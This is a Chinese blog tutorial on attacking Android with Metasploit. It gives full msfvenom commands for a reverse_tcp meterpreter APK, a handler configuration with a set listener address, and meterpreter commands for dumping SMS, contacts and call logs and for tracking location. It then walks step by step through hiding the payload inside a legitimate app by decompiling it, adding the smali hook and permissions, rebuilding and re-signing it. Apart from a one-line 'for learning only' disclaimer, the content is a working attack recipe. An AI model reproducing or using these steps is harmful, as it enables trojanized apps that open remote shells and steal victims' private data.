首页 > 其他分享 >msf攻击android

msf攻击android

时间:2022-08-31 11:35:46浏览次数:56  
标签:keystore 反编译 文件 攻击 apk msf android meterpreter

msf攻击android[1]

1.msf生成android apk文件

  msfvenom -p android/meterpreter/reverse_tcp lhost=<ip地址> lport=<端口> R > test.apk
-p android/meterpreter/reverse_top : 表示从android设备返回一个反向连接的meterpreter通道;
R:直接输出(虽然android程序用java编写,但是不能使用-f java的形式生成);
.apk:最终输出为apk后缀的文件;


2.本地监听

msfconsole
msfdb run
workspace test
use /exploit/multi/handler
options
set payload android/meterpreter/reverse_tcp
set lhost 192.168.110.45
set lport 4455
run


3.手机模拟器安装apk文件,并启动


4.android的meterpreter介绍[2]

常用android指令

? 查看android meterpreter指令
check_root 检查设备是否为root
dump_calllog 获取通话记录
dump_contacts 获取通讯录
dump_sms 获取短信
geolocate 获取定位信息
send_sms 发送短信
wlan_geolocate 通过wlan信息获取定位信息
app_install 安装app
app_list 列出当前设备上安装的app
app_run 通过包名启动android应用
app_uninstall 卸载app


5.将msf payload注入已有的apk文件中

自动注入

msfvenom -x ./desktop/dark_mode.apk -p android/meterpreter/reverse_tcp lhost=<本机IP> lport=<端口> R -o msftest.apk
-x:将指定目录下的指定apk文件作为模板文件
-p: 设置payload
-o: 输出为apk文件

6.手工注入--将msf payload注入apk

apktool反编译

apktool d -f -r -o /usr/local/testdir/decodef dark_Mode.apk

d:[decode]反编译
-r: 避免resc的反编译,这样进行打包的时候就不会重新编译resc文件包括xml
-o: 反编译文件输出到当前/usr/local/testdir/decodef目录下

步骤
(1)反编译要注入的apk文件--com.chenai.eyes_5.5.3_liqucn.com.apk
(2)反编译msfvenom 生成的已注入payload的apk文件--msfand.apk
(3)将(2)中反编译出来的AndroidManifest.xml文件中的粘贴到(1)中的AndroidManifest.xml中(改变该apk应用的权限)
(4)拷贝payload:将(2)中反编译的文件smali/com目录下的文件拷贝到(1)中对应目录下
(5)执行payload:在apk程序入口Activity的oncreate()方法,添加以下脚本:

invoke-static{p0},Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

可使用aapt查找apk包主程序入口,也可查看文件AndroidManifest.xml中的以下脚本的包名,其中com.chenai.eyen.act.MainDl即为主程序入口activity

 <activity android:configChanges="keyboardHidden|orientation" android:label="@string/ao" android:name="com.chenai.eyen.act.MainDl" android:theme="@style/e2">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
</activity>

(6)回编:

apktool b ./dark 
回编的文件在./dark/dist文件下

(7)生成签名要用的keystore文件(若安装了android studio则默认存在/root/android目录下)
keystore用于保存密钥对,比如公钥和私钥,用来在打包apl的时候对apk程序进行加密,也就是所谓的数字证书加密

keytool -genkey -v -keystore my-realease-key.keystore -alias alias -keyalg RSA -keysize 2048 -validity 10000
-alias :别名,每个keystore都关联这一个独一无二的alias,通常不区分大小写
-keystore: 指定密钥库的名称
-keyalg: 指定密钥的算法
-validity:指定创建证书的有效期
-keysize:指定生成密钥的长度
-v:显示密钥库中的证书详细信息

(8)jarsigner进行签名

jarsigner -verbose -keystore ./my-realease-key.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA ./dark/dark_Mode.apk alias

进行签名后的apk文件在dist目录下,覆盖掉原来的apk文件,进行签名是为了保证完整性,在apk文件安装时,系统会对其签名信息进行比对,判断程序的完整性,从而决定该apk文件是否可以安装,在一定程度上达到安全


  1. 仅供学习,维护网络安全;博主使用的是kali,脚本可根据自己本地环境修改 ↩︎

  2. 使用Android模拟器 ↩︎

标签:keystore,反编译,文件,攻击,apk,msf,android,meterpreter
From: https://www.cnblogs.com/hongyeci/p/15919335.html

相关文章

  • android 找到某个月第一个星期日
    安卓获取某一个月的第一周的第一天(周日)的日期/***获取每个月第一个星期日的日期*@paramyear年份*@parammonth月份*@returnDate日期......
  • Android 添加shape, selector等资源文件
    右键点击drawable文件夹,选择new->DrawableResourcefile  在弹出的NewResourcefile界面中,将Rootelement定义为shape,就可以添加一个shape文件;将Rootelement定义......
  • Android代码混淆常见配置
    项目发布之前混淆是必不可少的工作,混淆可以增加别人反编译阅读代码的难度,还可以缩小APK包。一、使用原理:见:ProGuard的作用、使用及bug分析(http://www.trinea.cn/android/pr......
  • AndroidStudio使用命令行出包
    AndroidStudio使用命令行出包使用命令行出包的两种方式:方案1、Apacheant命令行出包(弃用)。方案2、AndroidGradle命令行出包。先说方案1,此方案为古老传说流传下来的出......
  • 疑似借助用友畅捷通T+的勒索攻击爆发 火绒安全可查杀
    疑似借助用友畅捷通T+的勒索攻击爆发火绒安全可查杀https://www.huorong.cn/info/1661778944884.html 2022-08-29 1576次阅读火绒安全实验室监测,疑似借助用友......
  • 协程再Android中的使用
    目录协程的相关概念协程的上下文JobDispatchersCoroutineName协程的作用域协程的管理协程的启动父子协程的概念Android特有的作用域的使用和区别异常管......
  • Android如何实现实时音视频会议的背景分割
    1背景分割功能简介ZegoEffectsSDKAI视觉SDK提供背景分割功能,适用于在线教育、视频会议、美发、短视频等多种场景。2视频中背景分割功能实现的前提条件在使用ZegoEf......
  • Android sqlcipher 对于加密的Sqlite库在Mac上进行解密的正确姿势
    前言:说实话我平常对于工作中的一些所经历的问题很少记录成文,基本上都是一些学习笔记,这里打算备忘一篇,由于领导的要求,最近也刚好在大重构,需要对AndroidApp中应用使用的db......
  • IOS 和Android H5 打开摄像头拍照 使用navigator.MediaDevices.getUserMedia() 拍照
    <!DOCTYPEhtml><htmllang="en"><head>  <metacharset="UTF-8">  <metahttp-equiv="X-UA-Compatible"content="IE=edge">  <metaname="viewport"......
  • Android Studio 签名打包失败
     异常:  百度结果:如上路径的启动图片过大,本次的大小有2M多。 解决:可从其他文件中选取小尺寸的图片替换,目前选择此上层目录下drawable-land-xxhdpi文件夹中的尺......